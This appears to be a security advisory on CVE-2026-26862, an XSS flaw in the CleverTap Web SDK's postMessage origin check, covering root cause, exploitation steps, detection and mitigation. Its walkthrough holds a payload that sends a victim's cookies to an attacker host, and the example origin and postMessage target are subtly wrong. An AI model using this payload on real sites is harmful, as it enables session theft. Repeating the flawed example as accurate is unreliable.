CVE-2026-26862: 
JavaScript vulnerability analysis and mitigation

CVE-2026-26862 is a DOM-based Cross-Site Scripting (XSS) vulnerability in the CleverTap Web SDK affecting versions 1.15.2 and earlier. The flaw exists in the Visual Builder module's window.postMessage origin validation, where an attacker can bypass the check by crafting a subdomain containing the string dashboard.clevertap.com. It was published on February 27, 2026, and has a CVSS v3.1 base score of 8.3 (High) (Feedly, GitHub Issue).

The root cause is an insufficient origin validation mechanism (CWE-79: Cross-site Scripting; CWE-829: Inclusion of Functionality from Untrusted Control Sphere) in src/modules/visualBuilder/pageBuilder.js at lines 56–60. The code uses JavaScript's String.prototype.includes() to check whether event.origin contains dashboard.clevertap.com, rather than performing an exact-match or allowlist-based comparison. An attacker can craft a malicious origin such as https://attacker.dashboard.clevertap.com to satisfy this substring check. Once the origin check is bypassed, the renderVisualBuilder() function directly assigns attacker-controlled HTML from the postMessage payload to element.outerHTML without sanitization, enabling arbitrary JavaScript injection (GitHub Issue, pageBuilder.js Source).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of any website loading the vulnerable CleverTap Web SDK. This can lead to theft of session tokens, authentication credentials, and other sensitive user data (high confidentiality impact), unauthorized DOM manipulation and form data tampering (high integrity impact), and limited availability disruption (low availability impact). Because the SDK is embedded in third-party websites, the attack surface extends to all end users visiting those sites (Feedly, GitHub Issue).

A proof-of-concept exploit payload is publicly available in GitHub Issue #442, demonstrating how to send a crafted postMessage from an attacker-controlled domain to trigger XSS. Exploitation requires user interaction (the victim must visit a page loading the vulnerable SDK while the attacker sends the malicious postMessage), but no privileges are required. The EPSS score is approximately 0.012% (very low), and there is no evidence of in-the-wild exploitation or CISA KEV catalog listing at this time (GitHub Issue, Feedly).

1. Reconnaissance: Identify target websites that load the CleverTap Web SDK version ≤ 1.15.2 by inspecting page source or using browser developer tools to detect the clevertap-web-sdk script inclusion.
2. Set up attacker infrastructure: Register or control a domain whose URL contains the substring dashboard.clevertap.com (e.g., https://attacker.dashboard.clevertap.com) to satisfy the flawed includes() origin check.
3. Lure victim: Trick the target user into visiting a page on the attacker's domain (or any page the attacker controls) that opens or references the target website loading the vulnerable SDK — for example, via a phishing link that opens the target site in a new window.
4. Send malicious postMessage: From the attacker's page, execute the following JavaScript to send a crafted postMessage to the target window:

window.postMessage({
  message: "Overlay",
  wzrk_id: "campaign_123",
  wzrk_pivot: "pivot_456",
  originUrl: "https://attacker.dashboard.clevertap.com",
  details: [{
    url: "https://target-website.com",
    selectorData: [{
      selector: "body",
      values: {
        editor: "html",
        html: { text: "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" }
      }
    }]
  }]
}, '*');

5. Bypass origin validation: The SDK's includes() check passes because event.origin (https://attacker.dashboard.clevertap.com) contains the string dashboard.clevertap.com.
6. Achieve XSS: The renderVisualBuilder() function assigns the attacker-supplied HTML directly to element.outerHTML, executing the injected script in the victim's browser context and enabling session hijacking or credential theft (GitHub Issue, pageBuilder.js Source).

• Network: Unexpected cross-origin postMessage events originating from domains containing dashboard.clevertap.com as a subdomain of an untrusted registrar; outbound requests from the victim's browser to unknown domains carrying cookie or session data in query parameters.
• Logs: Browser console errors or warnings related to unexpected DOM mutations on pages loading the CleverTap SDK; Content Security Policy (CSP) violation reports triggered by injected inline scripts or external script loads.
• File System / DOM: Unexpected modification of page DOM elements (e.g., body or other selectors) with injected <script> tags or event handler attributes not present in the original page source.
• Process / Browser Behavior: Unusual redirects or network requests initiated immediately after page load on sites using the CleverTap SDK, particularly to domains not associated with CleverTap or the site operator (GitHub Issue).

Upgrade the CleverTap Web SDK to a version after 1.15.2, which includes the fix introduced in pull request #417 (merged May 22, 2025) that strengthens origin validation in the handleMessageEvent function. As a workaround, implement strict Content Security Policy (CSP) headers on affected websites to restrict inline script execution and limit trusted message origins. Additionally, validate and sanitize all postMessage communications server-side or via a wrapper, and consider disabling the Visual Builder module if it is not actively in use (GitHub PR #417, Feedly).

The vulnerability was originally reported internally by Razorpay and addressed by CleverTap in PR #417 on May 22, 2025, before being publicly disclosed via GitHub Issue #442 on July 13, 2025 by researcher Mr-Neutr0n. The fix was noted as solving an XSS issue reported by Razorpay, indicating responsible disclosure through a business partner channel. There is limited broader media coverage, though the issue was indexed by multiple vulnerability tracking platforms including ENISA EUVD and Vulners shortly after CVE publication (GitHub PR #417, GitHub Issue).